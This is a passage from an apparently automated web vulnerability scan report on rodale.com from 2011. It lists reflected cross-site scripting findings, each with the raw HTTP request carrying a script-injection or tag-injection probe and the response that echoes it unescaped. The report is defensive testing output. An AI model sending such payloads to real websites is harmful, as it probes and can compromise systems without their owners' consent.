Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:20 GMT
Date: Thu, 10 Mar 2011 17:20:20 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-weight-loss4d804"><a>baba34ab458 node node-958">
...[SNIP]...

2.919. http://www.rodale.com/topic/weight-loss [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/weight-loss

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab28a"><script>alert(1)</script>f5635bebb69 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/weight-loss?ab28a"><script>alert(1)</script>f5635bebb69=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:45 GMT
Date: Thu, 10 Mar 2011 17:19:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32945

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/weight-loss?ab28a"><script>alert(1)</script>f5635bebb69=1" title="Register" class="moreLink">
...[SNIP]...

2.920. http://www.rodale.com/topic/wildlife [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/wildlife

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 394eb"><a>25198040ca7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic394eb"><a>25198040ca7/wildlife HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:49:47 GMT
Date: Thu, 10 Mar 2011 17:19:48 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic394eb"><a>25198040ca7 topic394eb">
...[SNIP]...

2.921. http://www.rodale.com/topic/wildlife [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/wildlife

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58433"><a>ef6b42152b2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/wildlife58433"><a>ef6b42152b2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:19 GMT
Date: Thu, 10 Mar 2011 17:20:19 GMT
Content-Length: 22474
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-wildlife58433"><a>ef6b42152b2 node node-958">
...[SNIP]...

2.922. http://www.rodale.com/topic/wildlife [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/wildlife

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b4c0"><script>alert(1)</script>d8003783093 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/wildlife?2b4c0"><script>alert(1)</script>d8003783093=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:45 GMT
Date: Thu, 10 Mar 2011 17:19:45 GMT
Content-Length: 32336
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/wildlife?2b4c0"><script>alert(1)</script>d8003783093=1" title="Register" class="moreLink">
...[SNIP]...

2.923. http://www.rodale.com/topic/wind-power [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/wind-power

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f550"><a>b2d57698a84 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4f550"><a>b2d57698a84/wind-power HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:00 GMT
Date: Thu, 10 Mar 2011 17:20:00 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4f550"><a>b2d57698a84 topic4f550">
...[SNIP]...

2.924. http://www.rodale.com/topic/wind-power [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/wind-power

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca9d0"><a>a83b23c9d6c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/wind-powerca9d0"><a>a83b23c9d6c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:27 GMT
Date: Thu, 10 Mar 2011 17:20:27 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-wind-powerca9d0"><a>a83b23c9d6c node node-958">
...[SNIP]...

2.925. http://www.rodale.com/topic/wind-power [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/wind-power

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7562c"><script>alert(1)</script>b44cfaa6424 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/wind-power?7562c"><script>alert(1)</script>b44cfaa6424=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:49:57 GMT
Date: Thu, 10 Mar 2011 17:19:57 GMT
Content-Length: 29818
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/wind-power?7562c"><script>alert(1)</script>b44cfaa6424=1" title="Register" class="moreLink">
...[SNIP]...

2.926. http://www.rodale.com/topic/womens-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/womens-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d37c4"><a>985364fbeda was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd37c4"><a>985364fbeda/womens-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:03 GMT
Date: Thu, 10 Mar 2011 17:20:03 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd37c4"><a>985364fbeda topicd37c4">
...[SNIP]...

2.927. http://www.rodale.com/topic/womens-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/womens-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98960"><a>d7cc1fa2342 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/womens-health98960"><a>d7cc1fa2342 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:35 GMT
Date: Thu, 10 Mar 2011 17:20:35 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-womens-health98960"><a>d7cc1fa2342 node node-958">
...[SNIP]...

2.928. http://www.rodale.com/topic/womens-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/womens-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 330de"><script>alert(1)</script>f8eebfda72e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/womens-health?330de"><script>alert(1)</script>f8eebfda72e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:19:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:01 GMT
Date: Thu, 10 Mar 2011 17:20:01 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/womens-health?330de"><script>alert(1)</script>f8eebfda72e=1" title="Register" class="moreLink">
...[SNIP]...

2.929. http://www.rodale.com/topic/work [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/work

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9a3c"><a>de8c2186ce2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd9a3c"><a>de8c2186ce2/work HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:05 GMT
Date: Thu, 10 Mar 2011 17:20:05 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd9a3c"><a>de8c2186ce2 topicd9a3c">
...[SNIP]...

2.930. http://www.rodale.com/topic/work [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/work

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d05bf"><a>bad60555ac2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/workd05bf"><a>bad60555ac2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:50:31 GMT
Date: Thu, 10 Mar 2011 17:20:32 GMT
Content-Length: 22462
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-workd05bf"><a>bad60555ac2 node node-958">
...[SNIP]...

2.931. http://www.rodale.com/topic/work [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/work

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72ce7"><script>alert(1)</script>3201029fbdf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/work?72ce7"><script>alert(1)</script>3201029fbdf=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:03 GMT
Date: Thu, 10 Mar 2011 17:20:03 GMT
Content-Length: 30859
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/work?72ce7"><script>alert(1)</script>3201029fbdf=1" title="Register" class="moreLink">
...[SNIP]...

2.932. http://www.rodale.com/topic/yoga-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/yoga-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfd09"><a>65d9b20bcaf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicdfd09"><a>65d9b20bcaf/yoga-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:10 GMT
Date: Thu, 10 Mar 2011 17:20:10 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicdfd09"><a>65d9b20bcaf topicdfd09">
...[SNIP]...

2.933. http://www.rodale.com/topic/yoga-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/yoga-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ba8c"><a>5a20b335f52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/yoga-09ba8c"><a>5a20b335f52 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:40 GMT
Date: Thu, 10 Mar 2011 17:20:40 GMT
Content-Length: 22468
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-yoga-09ba8c"><a>5a20b335f52 node node-958">
...[SNIP]...

2.934. http://www.rodale.com/topic/yoga-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/yoga-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 727db"><script>alert(1)</script>c57fd759f4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/yoga-0?727db"><script>alert(1)</script>c57fd759f4e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:20:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:50:07 GMT
Date: Thu, 10 Mar 2011 17:20:07 GMT
Content-Length: 31518
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/yoga-0?727db"><script>alert(1)</script>c57fd759f4e=1" title="Register" class="moreLink">
...[SNIP]...

2.935. http://www.rodale.com/topics [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topics

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d87d6"><a>10e513c2511 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicsd87d6"><a>10e513c2511 HTTP/1.1
Host: www.rodale.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cmTPSet=Y; _chartbeat2=rkdyf9xiaaxcx0fo

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 16:45:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:15:49 GMT
Date: Thu, 10 Mar 2011 16:45:50 GMT
Content-Length: 22442
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicsd87d6"><a>10e513c2511 node node-958">
...[SNIP]...

2.936. http://www.rodale.com/topics [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topics

Issue detail

